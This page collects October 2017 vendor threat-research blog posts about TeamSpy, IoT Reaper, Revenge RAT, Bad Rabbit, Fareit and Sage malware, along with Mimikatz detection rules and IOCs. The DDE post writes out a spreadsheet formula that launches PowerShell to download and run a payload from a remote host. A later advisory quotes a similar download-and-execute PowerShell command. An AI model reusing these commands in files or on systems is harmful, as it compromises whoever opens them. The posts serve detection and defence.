Skip navigation
All Places > Products > RSA NetWitness Platform > Blog > 2017 > October
2017
Anya Kricsfeld

Launching RSA Ideas

Posted by Anya Kricsfeld Employee Oct 31, 2017

For years RSA has been in business of providing best-in-class security products and services to you, our customers.  I am proud to be surrounded by extremely intelligent and creative coworkers who amaze me with their knowledge, imagination, and ability to make abstract a reality on daily basis.  However, I am even more astounded by the unending well of new ideas I see coming from our customer community every time I interact with or observe an interaction between us and you.  You are the true inspiration and driving force of our innovation.  We build products that solve your problems, we offer services that help you, and everything we do - we do with you and your success in mind.

 

This is why I am happy to officially introduce you to a new way to harvest and crowdsource our collective ideas together.  This month, we have launched new idea pages on our RSA Link Community:

 

 

These destination pages are places for you to show off your creativity and need, to suggest ways that would improve our offerings to help you be more successful.  It is also the place where you can collaborate on your ideas with other like-minded individuals and vote on ideas suggested by others.

 

We have a great customer community, let’s harness its creative power to see what we can come up with together.

 

For more information, please check out the following FAQs:

For years, threat actors have been relying on DLL side-loading to load their malicious code into the address space of legitimate applications. PlugX is probably the most prominent example, but there are other malware families [1]. There is a certain order that Microsoft Windows follows in order to find a DLL required by an application [2]. If SafeDLLSearchMode is disabled, the current directory comes before other typical directories such as Systems directory or Windows directory in the search order for a DLL. By dropping their malicious DLL in the same directory as a trusted application, malware authors have a chance to blend in and evade analysis.

 

TeamSpy leverages the DLL side-loading technique to load its malicious payload into the memory space of TeamViewer; a popular remote desktop application [3]. Avast has a detailed explanation of TeamSpy and its capabilities [4]. In this blog post, we will go over a recent malspam activity delivering TeamSpy to victim machines and will discuss how the activity looks in NetWitness Packets.

 

Submitting the delivery document NEW_price.xlsm to RSA pre-release What's This File service scores the maximum threat score:

 

 

The malicious spreadsheet has an auto-launch script to download a payload from a delivery domain:

 

 

When the victim enables the embedded macro, the download activity begins:

 

 

 

Here is the meta registered by NetWitness Packets for the download session:

 

 

Here is a list of files downloaded to the victim machine (all downloaded to the C:\ directory):

 

Filenamemd5notes
tv_64.dlldcd8cda46bb20ff09c8c8be8be2f3098Helper library for TeamViewer performance optimization and QuickConnect (64 bit)
tv_64.exee0331b54a56e7aa48f97b4956bcef769Helper process for TeamViewer performance optimization and QuickConnect (64 bit)
tvr.cfg71488723b5b71651ab164989535bceedObfuscated configuration file for TeamSpy spyware
TV.exe75c738b78021eec28f7a9eeaade02cfeTeamViewer Remote Control Application
avicap32.dllbe03a49d09f85bc7b977574bcef5a4f1Malicious DLL
avicap32.expa394b34ce831a37ca007c00576b0a5ba
avicap32.lib46af858202494af4cf568facc9d4914e
TeamViewer_Desktop.exe301d4c233bb1297d600ceb05a0ebbc33TeamViewer Remote Control Application
TeamViewer_Resource_en.dll1ead0b5a632b2d60414b5a1daa4905f3TeamViewer resources
tv_32.dlld1cae98656bc6703e21f4580b8830dfcHelper library for TeamViewer performance optimization and QuickConnect
tv_32.exe7d90bdf0f9c2d9224d8b4d5d2f195506Helper process for TeamViewer performance optimization and QuickConnect

 

By dropping the malicious DLL in the same directory as the legitimate application, TeamSpy has a chance to load successfully and to run its payload. It uses a password to de-obfuscate the configuration file at run time in order to start communicating with its C2 server, which in this case is the same as the delivery domain:

 

Avast has a full list of those parameters in the query strings above [4] but here is some information:

  • id: ID of the infected machine
  • tout: timeout
  • osbt: 32bit/64bit
  • osv: OS version
  • osbd: OS build version
  • uname: user name
  • cname: computer name
  • tvrv: teamviewer version

 

Here is the meta registered by NetWitness Packets for the C2 communication:

 

 

Delivery document (SHA256):

  • 00048ea8873518a5a17ddea0cfee0f1103bf56c07b89b287c6aa60e082d75f99

 

All the IOC from those HTTP sessions were added to RSA FirstWatch Command and Control Domains on Live with the following meta:

  • threat.source = ‘rsa-firstwatch’
  • threat.category = ‘malspam’
  • threat.description = ‘delivery-domain’

 

References:

  1. DLL Side-Loading - enterprise 
  2. Dynamic-Link Library Search Order (Windows) 
  3. https://www.teamviewer.us/products/teamviewer/ 
  4. A deeper look into malware abusing TeamViewer 

Mimikatz is an open source research project with it's first commit back in 2014 via @gentilkiwi, that is now used extensively by pen testers and adversaries alike for various post-exploitation activities.  One of many write-ups on Mimikatz can be found here.

 

The intention of this post is to show how you might instrument your NetWitness environment to detect attempts to use Mimikatz for credential theft which is arguably it's most common application.  Designed to be as generic as possible to account for re-compilations, the primary detection mechanism focused on fingerprinting loaded dlls is based on some great research done by @Wardog, detailed here.

 

Here are the detection opportunities discussed in this post:

 

This post focuses primarily on the log-based detection via an ESA rule.  The choice to feed sysmon logs into NW is predicated by the requirement to gather ImageLoaded events every time a DLL is loaded by a process.   

 

 

Getting Sysmon logs into NetWitness

The general process for enabling sysmon capture is fairly straight forward and detailed by Eric Partington in his post: Log - Sysmon 6 Windows Event Collection. The key events we care about for this scenario are Sysmon EventID 1 (process creation) and Sysmon EventID 7 (ImageLoaded).  

 

 

Two recommendations:

  1. Although not required for detection, for stronger analysis, you may consider adjusting table-map-custom.xml on your log decoder to add the parent.process meta key and toggle parent.pid from "Transient" to "None" to gain visibility into these values.  Sample addition to table-map-custom.xml (more details on this process here)

    <mapping envisionName="parent_pid" nwName="parent.pid" flags="None" format="Int32"/>
    <mapping envisionName="parent_process_val" nwName="parent.process" flags="None"/>


  2. Sysmon can get very, very noisy if not properly filtered.  This part is up to you (and the capacity of your system) but I started with this sysmon config template: sysmon-config/sysmonconfig-export.xml at master · SwiftOnSecurity/sysmon-config · GitHub  and modified the EventID 7 config within the template shown below - only including ImageLoaded events necessary for the detection logic:

    <!--SYSMON EVENT ID 7 : DLL (IMAGE) LOADED BY PROCESS-->
    <!--DATA: UtcTime, ProcessGuid, ProcessId, Image, ImageLoaded, Hashes, Signed, Signature, SignatureStatus-->
    <ImageLoad onmatch="include">
    <ImageLoaded condition="contains">cryptdll.dll</ImageLoaded>
    <ImageLoaded condition="contains">hid.dll</ImageLoaded>
    <ImageLoaded condition="contains">winscard.dll</ImageLoaded>
    <ImageLoaded condition="contains">logoncli.dll</ImageLoaded>
    <ImageLoaded condition="contains">netapi32.dll</ImageLoaded>
    <ImageLoaded condition="contains">samlib.dll</ImageLoaded>
    <ImageLoaded condition="contains">vaultcli.dll</ImageLoaded>
    <ImageLoaded condition="contains">wintrust.dll</ImageLoaded>
    </ImageLoad>

* full sample template attached to the bottom of this post.

 

Important note:  When setting up sysmon on your source endpoints, to enable capturing of ImageLoaded events you will need to add "-l" to the  installation or run time command line.

 

 

NW Log Config - ESA Rule

The logic of this ESA rule is pretty straight forward but is implemented as an Advanced EPL rule - look for any process loading the set of "fingerprint" dlls indicative of Mimikatz and alert.  The rule is attached to this post, and instructions on how to import it are located here: Alerting: Import or Export Rules. Two separate formats have been attached - one in native/exported format that can be directly imported as per the instructions, the other as a text file for you to modify/copy/paste into a new Advanced EPL ESA rule if you prefer to do it that way.

 

Note:  This rule was tested in a lab environment, so please feel free to test and provide feedback on performance and false/true positive rates.  You'll notice a second ESA rule suffixed with "(aggressive)" that may catch more implementations of mimikatz but might be prone to false positives.  I wasn't able to get either to falsely trip in my lab, but your mileage may vary.

 

 

NW Endpoint Config - IIOCs

No additional config is required if you see the following InstantIOCs in your system already:

 

If we combine endpoint & log visibility for this use case, we get increased fidelity overall due to a combination of approaches to corroborate.  NWE automatically looks for various behavioral indicators involving lsass.exe for credential theft which is a great compliment to the DLL fingerprinting approach.   For an attacker, subverting either behavior individually will be easier than subverting both.   While not covered in this post, it's certainly possible to create a new alert for the NWE IIOC detection by itself OR add them to the conditions of the DLL fingerprinting ESA rule to increase fidelity.  If your NWE IIOCs are configured to send a syslog event for every match, the output when triggered looks as follows (sample CEF logs attached):

 

 

 

Results

The ESA rule triggered successfully after running mimikatz in a number of ways, including as a native binary, PowerShell Mafia via PS command line & interactive shell, PowerShell Empire via native powershell and injected process, Crackmapexec, and Metasploit.  I'd love some feedback from anyone willing to test alternate methods. 

 

ESA alert rolled up into an incident:

 

 

Incident details:

 

If you have NetWitness Endpoint, you can pivot into it to gain deeper context.  In the tracking data below, bottom up shows initial compromise (this example happened to be a simple PowerShell Empire stager), subsequent activity, and interaction with lsass.exe triggering a Level 1 IOC:

 

It should also be noted that as of NW 11.0 and NW Endpoint 4.4, an integration exists to bring the same NW Endpoint tracking data directly into the broader NW platform as log events.  As this integration matures, you can undoubtedly expect a closer tie between related log & endpoint behavior.

 

 

____________________________________________________________________

Sample Data

I've attached a set of sample logs that should trigger the rule if replayed into a log decoder.  These logs contain the suspect event as well as some benign logs from the same endpoint.  An easy way to replay these is by using the NWLogPlayer utility (How To Replay Logs in RSA NetWitness - note, if using version 11.0 the package name has changed and can be installed with yum install rsa-nw-logplayer).

The second attached log set shows 2 sample CEF syslog alerts sent directly from NW Endpoint when the discussed IIOCs trigger.

____________________________________________________________________

Kevin Stear

Rise of the IoT Reaper

Posted by Kevin Stear Employee Oct 26, 2017

During the month of October, and there’s been a disturbance in the force… the growing presence of a new Internet of Things (IoT) botnet, dubbed ‘Reaper’.  Initial research published by Checkpoint and Qihoo indicates that the IoT Reaper botnet may have already infected more than 2 Million devices, making it one of the most dangerous botnets in the world.

 

From a NetWitness Packets detection standpoint, FirstWatch has observed Reaper activity since the middle of October.  These attacks are commonly carried over TCP from ephemeral ports to a common set of destination ports as depicted below.

 

 

The following Reaper exploit attempts were observed attacking RSA FirstWatch sinkhole infrastructure on October 20th from a likely compromised (i.e., Reaper infected bot) Iranian based source IP address, 84.241.31[.]227.

 

D-Link Devices - 'command.php' Unauthenticated Remote Command Execution (Metasploit):

 

Wireless IP Camera (P2P) WIFICAM GoAhead Backdoor / Remote Command Execution:

 

Checking to see if the previous exploit worked (thanks @VK_Intel):

 

Unknown Credential Stealing Exploit:

 

D-Link Devices - 'hedwig.cgi' Buffer Overflow in Cookie Header (Metasploit):


 

Linksys WRT160N v2 - 'apply.cgi' Remote Command Injection (Metasploit):

 

Netgear DGN Devices Unauthenticated Command Execution:

 

Linus System Files Information Disclosure:

 

Notable meta tagging for this activity within Netwitness Packets can be seen below.

 

RSA FirstWatch has further quantified IoT Reaper attacks in the wild from several thousand source IP addresses, which have been added to the FirstWatch C2 IP feed available in RSA Live and tagged with the following meta data:

  • threat.category = ‘botnet’
  • threat.desc = ‘reaper’

 

Thanks to Kent Backman (RSA FirstWatch), Andre DiMino (DeepEnd Research), Chris Doman (ThreatCrowd), and Jaime Blasco (AlienVault) for contributing to this research.

 

On October 18th 2017, malspam delivered a malicious RTF document that tries to exploit Microsoft Office/WordPad via a Buffer Overflow Vulnerability in the ListView / TreeView ActiveX controls in the MSCOMCTL.OCX library, CVE-2012-0158. The malicious code can be triggered by a specially crafted DOC or RTF file for un-patched MS Office products.

VirusTotal Analysis of delivered document confirms presence of RTF exploit.

 

After opening the document in a vulnerable Microsoft Word application, a connection is established to  “http://careers[.]fwo[.]com[.]pk/” to download a malicious executable payload, using shell code present in RTF file,  which kicks off the following network events.

 

VirusTotal Analysis of final payload “printer.exe” confirms that it’s a Revenge, a Remote Access Trojan (RAT).

 

Once the download is complete, the binary is executed and post-infection traffic started. Request contains information in Base64 encoded form about infected m/c such as IP, domain and username, operating system, processor version and speed and language.

 

Breaking down request to each staring reveals specific pattern and information:

  • Information
  • Revenge-RAT R3Vlc3Q Guest
  • Revenge-RAT XzQ0RkVDOTA4 _44FEC908
  • Revenge-RAT 10.10.10.166 System IP
  • Revenge-RAT Q0FGRVdFU1QgLyBqYW1lcw CAFEWEST / james
  • Revenge-RAT No 6
  • Revenge-RAT TWljcm9zb2Z0IFdpbmRvd3MgNyBQcm9mZXNzaW9uYWwgIDMy Microsoft Windows 7 Professional  32
  • Revenge-RAT SW50ZWwoUikgWGVvbihSKSBDUFUgICAgICAgICAgIFg1NjkwICBAIDMuNDdHSHo Intel(R) Xeon(R) CPU           X5690  @ 3.47GHz
  • Revenge-RAT 1073274880
  • Revenge-RAT Ti9B N/A
  • Revenge-RAT Ti9B N/A
  • Revenge-RAT 3339
  • Revenge-RAT UHJvZ3JhbSBNYW5hZ2Vy Program Manager
  • Revenge-RAT ZW4tVVM en-US
  • Revenge-RAT False

 

Current RSA NetWitness detection populates following meta for the download sessions:

 

Current RSA NetWitness detection populates following meta for Post Infection traffic:

 

More detailed information about CVE-2012-0158 can be found here:

Triaging Malicious Microsoft Office documents CVE-2012-0158 

 

Thanks go to Ahmed Sonbol and Kevin Stear for contributing to this threat advisory.

 

Yesterday news emerged about a new ransomware outbreak dubbed Bad Rabbit. The new ransomware has some similarities to the Petya/Not Petya ransomware attack that took the world by storm last summer. Both ransomware families encrypt the entire disk.  As of now, it appears that most reported victims are in Eastern Europe with some reports suggesting that some victims were detected in the United States. While the US-CERT issued a notice that it is aware of the attacks, it has no specific information on US victims.

 

Bad Rabbit binary is currently being delivered to the victim as a fake Adobe Flash update (SHA256: 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da) through compromised websites, and one particular delivery domain, 1dnscontrol[.]com, has been identified in numerous Industry reports.  Researchers at Cisco Talos demonstrated how BadRabbit victims were redirected to this delivery domain via compromised websites.

 

First, there was a POST request to 185.149.120[.]3/scholargoogle to collect some information such as user agent, referring site, cookie and domain name of the session.  Next, the ransomware dropper was delivered via two paths:

  • 1dnscontrol[.]com/index.php
  • 1dnscontrol[.]com/flash_install.php

 

At this time, it appears that the delivery domain is no longer active; however, both the IP and domain have been placed into FirstWatch C2 feeds available in RSA Live with the following meta tags:

  • threat.category = "ransomware"
  • threat.desc = "badrabbit"

 

Executing the malware on a 32bits Windows machine, it dropped the following files on the system (names of the dropped files might vary from one system to another):

 

File PathSHA256Notes
C:\Windows\cscc.dat682adcb55fe4649f7b22505a54a9dbc454b4090fc2bb84af7db5b0908f3b7806diskcryptor driver
C:\Windows\infpub.dat14d82a676b63ab046ae94fa5e41f9f69a65dc7946826cb3d74cea6c030c2f958
C:\Windows\dispci.exe8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93diskcryptor client
C:\Windows\740.tmp
a81b01737a22b8dae8f3e4fe3693c2f56eae0c6e24670146d91832ba6b76c82f

 

Executing the malware on a 64bits Windows machine, it dropped the following files:

 

File PathSHA256Notes
C:\Windows\cscc.dat0b2f863f4119dc88a22cc97c0a136c88a0127cb026751303b045f7322a8972f6diskcryptor driver
C:\Windows\infpub.dat14d82a676b63ab046ae94fa5e41f9f69a65dc7946826cb3d74cea6c030c2f958
C:\Windows\dispci.exe
8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93diskcryptor client
C:\Windows\CE27.tmp
fdef2f6da8c5e8002fa5822e8e4fea278fba66c22df9e13b61c8a95c2f9d585f

 

Here is a process tree after running the dropper:

 

 

The malware creates two scheduled tasks to perform the following:

  • A scheduled task to run the open source utility DiskCryptor to encrypt the entire disk.
  • A scheduled task to reboot the system at a certain time.

 
Strings embedded in the unpacked DLL suggest that the malware also targets a certain list of files for encryption:

  • .3ds.7z.accdb.ai.asm.asp.aspx.avhd.back.bak.bmp.brw.c.cab.cc.cer.cfg.conf.cpp.crt.cs.ctl.cxx.dbf.der.dib.disk.djvu.doc.docx.dwg.eml.fdb.gz.h.hdd.hpp.hxx.iso.java.jfif.jpe.jpeg.jpg.js.kdbx.key.mail.mdb.msg.nrg.odc.odf.odg.odi.odm.odp.ods.odt.ora.ost.ova.ovf.p12.p7b.p7c.pdf.pem.pfx.php.pmf.png.ppt.pptx.ps1.pst.pvi.py.pyc.pyw.qcow.qcow2.rar.rb.rtf.scm.sln.sql.tar.tib.tif.tiff.vb.vbox.vbs.vcb.vdi.vfd.vhd.vhdx.vmc.vmdk.vmsd.vmtm.vmx.vsdx.vsv.work.xls.xlsx.xml.xvd.zip.
  • Note: It remains unclear why the malware has a list of target file extensions, while it's behavior encrypts the whole disk.

  

The malware also drops mimikatz-like binaries to harvest credentials.  Communication between those binaries and the malware is done through a named pipe as shown in the process tree above. 

 

In addition to the stealers, the malware comes embedded with a list of default usernames and passwords.  These credentials are used by the malware to try to login to other systems via SMB and infect them.  It should be noted, that BadRabbit does not currently use the EternalBlue vulnerability for lateral movement; instead this is basic scanning and login attempts for the following shares.

  • admin
  • atsvc
  • browser
  • eventlog
  • lsarpc
  • netlogon
  • ntsvcs
  • spoolss
  • samr
  • srvsvc
  • scerpc
  • svcctl
  • wkssvc

If a login attempt is successful, 'infpub.dat' is dropped into Windows directory and executed via SCManager and rundll.exe.  

 

In it's final stages, Bad Rabbit executes a system reboot, after which the victim is presented with a ransom note:

 

 

The helpful message on caforssztxqzf2nm[.]onion notifies victims of 0.05 Bitcoin ransom with a message suggesting that the price will go up after some 10+ hours.

  

 

Microsoft recently released a threat bulletin on Bad Rabbit [6]. It has the following instructions to stop the system from rebooting (thus stopping it from encrypting the disk):

  • Check event logs for the following IDs: 1102 and 106

Event 1102 indicates that the audit log has been cleared, so previous activities can’t be seen.

Event 106  indicates that scheduled tasks "drogon" and "Rhaegel" have been registered (these are ransomware wipers)

If events 1102 and 106 are present, issue a shutdown -a to prevent a reboot

 

Halim Abouzeid has a detailed post on how the post infection activity looks in both NetWitness Packets and NetWitness Endpoint.

 

 

BadRabbit is a new ransomware that has been targeting unsuspecting victims across Eastern Europe.  Upon infection, the malware tries to spread laterally via SMB and by trying to dump passwords using mimikatz.  It will then encrypt documents on the local machine, modify the MBR and reboot the machine making it impossible to boot without paying the ransom.

 

The following are examples of the visibility an enterprise that has RSA NetWitness Endpoint and Packets would have when a machine gets infected.

 

1st, from the perspective of RSA NetWitness packets, it is possible to see the SMB traffic generated by the infected machine, trying to login using a set of hard coded usernames and passwords (full list available here: BadRabbit credential dictionary - Pastebin.com ).

 

From the perspective of RSA NetWitness Endpoint, we can see the following:

 

We can identify the modules part of the attack.

- B4DD.tmp is a version of mimikatz to dump passwords using lsass.exe

- cscc.dat is a valid tool used for the encryption

- shutdown.exe is used by the malware to restart the machine

 

By analyzing those modules we can get bit more details.

For example, by analyzing dispci.exe we can see the extensions it looks for encryption:

 

As well as some of the encryption/decryption messages that would eventually popup to the user:

 

If we then look  at the triggered IIOCs and behaviors:

1- The malware is reading a large number of documents in a short period of time (typical ransomware behavior)

2- Reported as malicious by the reputation service (Reversing Labs)

 

If we want to look at more details for what has happened, we can look at the tracking data:

1- the different modules needed by the malware are dropped to disk

2- it removes any previous tasks installed by the malware (notice the name of the tasks referencing the names of the dragons in Game of Thrones)

3- new scheduled tasks are added to run the encryption with the victim's ID and then shutdown the machine

4- we then see B4DD.tmp (mimikatz) accessing lsass.exe to try and dump credentials

5- it then access all the documents with extensions that matches to get encrypted

 

6- it then deletes logs and events

7- and finally removes/adds scheduled tasks to restart the machine

 

Once the machine gets restarted, the victim is not able to boot to Windows and gets the following message:

 

 

This shows how RSA NetWitness Packets and Endpoint can help get early notification and detection for new breeds of malware without relying on known signatures, and how they can be used to easily look for IOCs and indicators to quickly respond and identify compromised machines.

 

Some Indicators that can be used

File Hashes:

de5c8d858e6e41da715dca1c019df0bfb92d32c0 (install_flash_player.exe)
afeee8b4acff87bc469a6f0364a81ae5d60a2add (dispci.exe)
79116fe99f2b421c52ef64097f0f39b815b20907 (infopub.dat)
413eba3973a15c1a6429d9f170f3e8287f98c21c (Mimikatz 32bit)
16605a4a29a101208457c47ebfde788487be788d (Mimikatz 64bit)

 

Domains:

1dnscontrol[.]com/flash_install.php
1dnscontrol[.]com/install_flash_player.exe

 

Usernames/Passwords (SMB):

BadRabbit credential dictionary - Pastebin.com 

On October 19th 2017, an unknown malspam campaign delivered a malicious RTF document, “Inquiry_list.doc”, which attempts to exploit Microsoft Office/WordPad via a Remote Code Execution (RCE) vulnerability in the Windows API, CVE-2017-0199.  

 

 

After opening the document via a vulnerable Microsoft Word application, a connection is established to “wizkiddz[.]xyz” to download a malicious DOT file, "dotenq.dot", which kicks off the following network events.

 

This DOT file contains obfuscated code, which downloads a malicious HTA, “htaenq.hta”, from same domain.

 

This HTA file then uses Base64 obfuscated code to spawn powershell and create a shell object in order to download the final payload, “enq.exe”, and then close the browser window automatically.


 

This final payload, “enq.exe”, is a Fareit Trojan, a commodity malware info-stealer often seen with Zeus/ZBOT campaigns.

 

Current RSA NetWitness detection populates following meta for the download sessions:

 

Once the download is complete, the binary is executed and post-infection traffic started.

 

Current RSA NetWitness detection populates following meta for Post Infection traffic:

 

Thanks go to Ahmed Sonbol and Kevin Stear for contributing to this threat advisory.

 

Ahmed Sonbol

Sage Ransomware Campaign

Posted by Ahmed Sonbol Employee Oct 20, 2017

During the week of October 16th 2017, RSA FirstWatch observed a new malspam campaign delivering Sage 2.2 ransomware. The delivery documents come embedded with malicious macros that download the ransomware upon execution. 

 

31119.doc is one example. It uses the usual social engineering tricks to convince the user to run the embedded macro:

 

 

Submitting the delivery document to RSA pre-release What's This File service reveals more information about it including the obfuscated VBA code:

 

 

 

The VBA code runs a powershell command that downloads a binary to the victim machine and executes it:

 

 

NetWitness Packets shows the following information for the download session:

 

 

Analysis results indicate that the downloaded binary is a Sage ransomware variant. The following post infection screenshots are from hybrid-analysis.com:

 

 

If you zoom out a little bit, you can notice a pattern:

 

 

 

Here is a list of delivery documents (SHA256):

274d7b79f5e9645c1192b8b9cbbfea851eb1704b531e68b6f864163abe1caee2
7dd90e639ffd672072eae5d050d15612e436f34842de8ecb404ccf927bda0957
58082d7a63df4293a22857ce33cff839cb8b6f9466eb32768cef7c9f354bd951
c2ed3b0d50459a3cc715de6c73015f002b87ce46a7f436b7cc492366ca11f498
c7cdd0f0f43b86f47e9d028627923a346a47dd2bccf036fdf6d4dedba8acc03a
7256bbcf4f1050f49d892d40cd8b52f2e8de5b987840a5b484beb1e66d7a509b
4c0207af91ae4160c422d7e316e814d5631661f2c9dc7bb9df21a0fb48c0a71b
7e42322134c241490cc2c4fdaa4c980fd365374ea704d6a91617719ddf1c79e0
e2eabf1c99c7d359b03b79c6f022d99e6e38577358eb7f33ca4e0a54936ec3e9
6d330792ae0a0f1e59696dc2bb7316c21fea4661d3054af6adca535f8e0279a2
9a447796eb2248134e06bf51f747b439221f87d14144a4f562f256f46ee2f5dc
25eec5ca8ffe1befcb946df90efac6de4e8d95ec1c1eccbc08a6d841d2df90f4
f1a72a50b3bf1d2c54a00192581a42656ab04aae52c44a0257663f147c81bb0c
773b7c6a0f4ecfdc2be76523407297f14b535edf4ea6d61b695a81cc1a2ba71f
31c2272c8cfc19b86ef0284c697337da944c389499426de7f3aed42a994fe454
063de7be700f6e07690446b0a96c6abfcec5f4ce35fbddede606a05e13a9f6b5
b0140c6f1ca5acad0c27b7fe32e8585bd263b3c7eda60a9c8af3b3f730993ddc
47c9ea2259b47c7db9bb59f909ab7512843841f2317cf461a6ebb9adb46ca6ee
9f004a50d6430155d120bb9085ed243153ba1c787fa39cdbe938cab243b067e5
9fad95c40b8240145b1e5222f245cf5d72647e91b1ced0992128d76d9fb1bf41
7703541357104e4e8ddb5e3e236f18f2edbc52833e918ed52af1fb2bb807f5e6
8c66095047f58b334064d350667326b61930ac0223adb39d4c2220f89129e66a
216efe9357dbd9d692ce05a1d979308765d4c3af53c517b3e948d37f08b757b6
7ca4f9cd2f4cc01c6148a0d349938b5a9835378ec4947f02af67a53cbf40a87e
149adaeda8b6d891f60350d6155eaa268bf058c0ed38e06a536cf24455d3cc98
2727a8727557f65c1650c2262b5fb4b4d48b847c5165d768e90af327dfbd1755
0daf7b17550da58f9b3ba07a85f6e186137143addfe049e35debd09c99db53fb
45b6403cdd91f73171a4f35065a2e8b28cb03182477d70c7c8bac9e190e0e051
e9040610f48117f0e4cd6114a5a6ff54781cb9439ef1d8d5e0543b4ed34e595f
e0b453143994314bab03c94c9344b0eaa53a466bb793c27277bc4f129e9c8422
43dbbc9e7bb826932b2242e3f7e5f378e0a866727d606616369c3e668874c4df
8daf66ea9005f2a651ffd03a7b2c0d23612946330578239beb863f4c6f3a3ddb
db218309da397d978722a990674168a359e1ad5118fb1b2cad0108e75abfe3cb
56bc350e23bba845d247fb0e276cf92792269f7d564d0a703f56552794f95ea5
a5e43b1519b231a5fe102a259f497ddb914aab63c1208afe96d9023dd140b778
c9b301c9bc45966885bd62d3d93addad9cc12386c1832121c64cb7a1dab86f02
a43b418e168e5802bc7f01eed1600517c812b946ef1b106227519dcf1f7daa6f
d87f31c39b7b0109f8c6e7ce540365adcecec3a28e557becb0649ab977ae8d8c
23a83b57bce9910ecac56869f4cbf8df4f6098019f5489c972a9bdcfdcf37192
1178fcc82a63b9e2795f9371fc951a03255c8fcd2e073fd9a0a981cec91b6657
895b74a6f511b4ea6b506e481e9b53e06c6b8241331af2bc809b3431d62df2fc
74ee87ac9f148d1f63f70deb854b70e7085a35b6606c4ed88a5421e141816247
b23b7be8a8c68efa5383846f09564da83b250bc4422911fcb6a09690cdaf634a
3036029b079f4628452cec4de9fc2e1c58f5db61b872a4b1fa8a4cf34cbe503d
b216b77ce9d3f8dabc110e046a8e9fb21ea16b48e16d31405609d1fa806fff42
71ab6b255621bedb8f7f30c2abdaa87b65057364ea4626d43cbb513c30e9205a
dacb4d816a1c47bc60c03127de674e45ce2951fa46a21c978bd9340c8be6068b
183a31aedf13df11a6c1d7bcf8b8a8efa5d8fb91c5c5c6a35f3cbf439bf61b03
34de727c753aec40af9e8201116ade27f52e24cd7d228f56d48935672b3606dc

 

And below is a list of Sage ransomware variants (SHA256):

ea3e84e499373f8044b013a2d844605ff1460b20a24e5ad9ffb161d310a142ce
1b9973b12c1b3dc87903ed62eb271804df543df063e1214469fc2bb0e6dc657e
96801c5f7bf6751622b42cd5ad6abd114eff276437e6873aedaacd3c5e6d62d3
c31ebfbdbb676fd2def375aea3cde05f9b4ac71058cd88eba7ff1009c1d05efb
62bc59d787dc76471ed07c6a04f25aa76e98033ba2cd37134d1f6f248c338dc5
3c098a2c6a471cecaa768edd01309d47a6b4a8725e0b4ba3d0f5668d1318586c
f028edcbac147e401699ac8c129d46b0fb2c2d3e0af089616e324230024361de
c1aa68e448657911273a98e6492a425b8341650541ff3857ecfc303cab09c779
0ddc0f51f16a49c6ea129b63eecbd2001ddcaac050f595fca5eede491f7a7693
ee9714df6487b57dd0ee6a108f5ad01dc617b8d6d03c8e05854dbec8f4803d2b

 

All the IOC from those HTTP sessions were added to RSA FirstWatch Command and Control Domains on Live with the following meta:

  • threat.source = ‘rsa-firstwatch’
  • threat.category = ‘malspam’
  • threat.description = ‘delivery-domain’

 

If you attended my sessions on Lua Parsing in NetWitness, we referenced some materials as well as a parser template I use when starting to write a Lua parser.  I wanted to share that material here.  Be sure to check out the examples as well as the nw-api.lua as references when building your own.

 

As always, if you have questions, please reach out.

 

Thanks,

 

Chris

There has recently been a reappearance of a method used to execute commands via malicious Excel files (and other office documents) without the need of Macros.

The method uses Dynamic Data Exchange (DDE), and what makes it interesting is that, even though it does causes prompt messages to appear, it doesn't use Macros and therefore it is less likely to be detected and blocked, and users are more likely to accept the prompts. In addition, as this is a "feature" and not a vulnerability, it is not something that will be patched, and cannot be easily prevented and blocked.

 

We will see how to perform a sample attack using DDE and then how easily it can be detected with RSA NetWitness Endpoint.

 

DDE Sample Attack

To execute a command using DDE, all we have to do is create an Excel file and use the following formula in one of the cells:

=cmd|' /c notepad'!A0

Once the user opens the file and accepts the prompts, notepad.exe will be launched.

 

To make the attack more interesting, we want to use the same method in conjunction with PowerShell to download and execute our payload (the payload "YGH.exe" is hosted on the "192.168.1.3" server):

=cmd|'/c powershell.exe -w hidden (New-Object System.Net.WebClient).DownloadFile(\"http://192.168.1.3/YGH.exe\",\"c:\\Users\Public\\YGH.exe\");Start-Process \"c:\\Users\\Public\\YGH.exe\"'!A0

 

Once the victim opens the file, this is what he sees:

 

After accepting the 1st warning message, he sees a 2nd warning:

 

And finally the payload gets downloaded and executed:

 

 

In a real life scenario, the malware would have done something more stealthy, or provided remote access to the attacker instead of displaying a message.

 

 

 

 

Detection Using RSA NetWitness Endpoint

Now, from the RSA NetWitness Endpoint view, this would be detected very easily.

 

  1. IIOCs are triggered for Office running PowerShell and PowerShell downloading content. This could be used to generate real-time alerts via email and/or Syslog and get notified at an early stage of the attack.
  2. Excel is executed
  3. Excel launches "cmd.exe". From the command arguments we can see that cmd is used to launch powershell to download and execute a file called "YGH.exe" from the "192.168.1.3" server.
  4. PowerShell saves the YGH.exe file to disk
  5. PowerShell executed the YGH.exe file

 

 

 

This shows how an attack vector that can easily bypass traditional preventive solutions can be detected by RSA NetWitness Endpoint based on the monitored behavior of the user's workstation.

This has been detected even though Excel is an approved software with a valid trusted signature and the malware itself didn't perform any malicious activity (it only shows a message to the victim). It demonstrates early detection capabilities based on behavior before negative impact actually happens.

On October 10th, 2017 malspam delivered a malicious RTF document that tries to exploit Microsoft Office/WordPad via a Buffer Overflow Vulnerability in the ListView / TreeView ActiveX controls in the MSCOMCTL.OCX library, CVE-2012-0158. The malicious code can be triggered by a specially crafted DOC or RTF file for un-patched MS Office products.

 

VirusTotal Analysis of delivered document confirms presence of RTF exploit.

 

After opening the document in a vulnerable Microsoft Word application, a connection is established to  “shalomreal.com/111.118.180.181” to download a malicious HTA file, which kicks off the following network events.

 

As shown above, " p4573447474794872248.hta" (VirusTotal  and Hybrid-Analysis) was the first download.

This HTA file uses obfuscated code which when rendered creates a PowerShell command. It also creates Shell Object which helps download and execute final payload executable “gd.exe” and has code to close browser window automatically.

 

Above obfuscated charterer leads to generation of following PowerShell command which uses WebClient object for connectivity:

 

powershell (new-object System.Net.WebClient).DownloadFile('hXXp://dvayen[.]com/fgg/gd[.]exe', '%temp%\BxQ2QIVm0dfJEQ0XbjTisddC0lm.exe'); Start-Process '%temp%\BxQ2QIVm0dfJEQ0XbjTisddC0lm.exe'", "", "", 0

 

 

Once the download is complete, the binary is executed and post-infection traffic started.

 

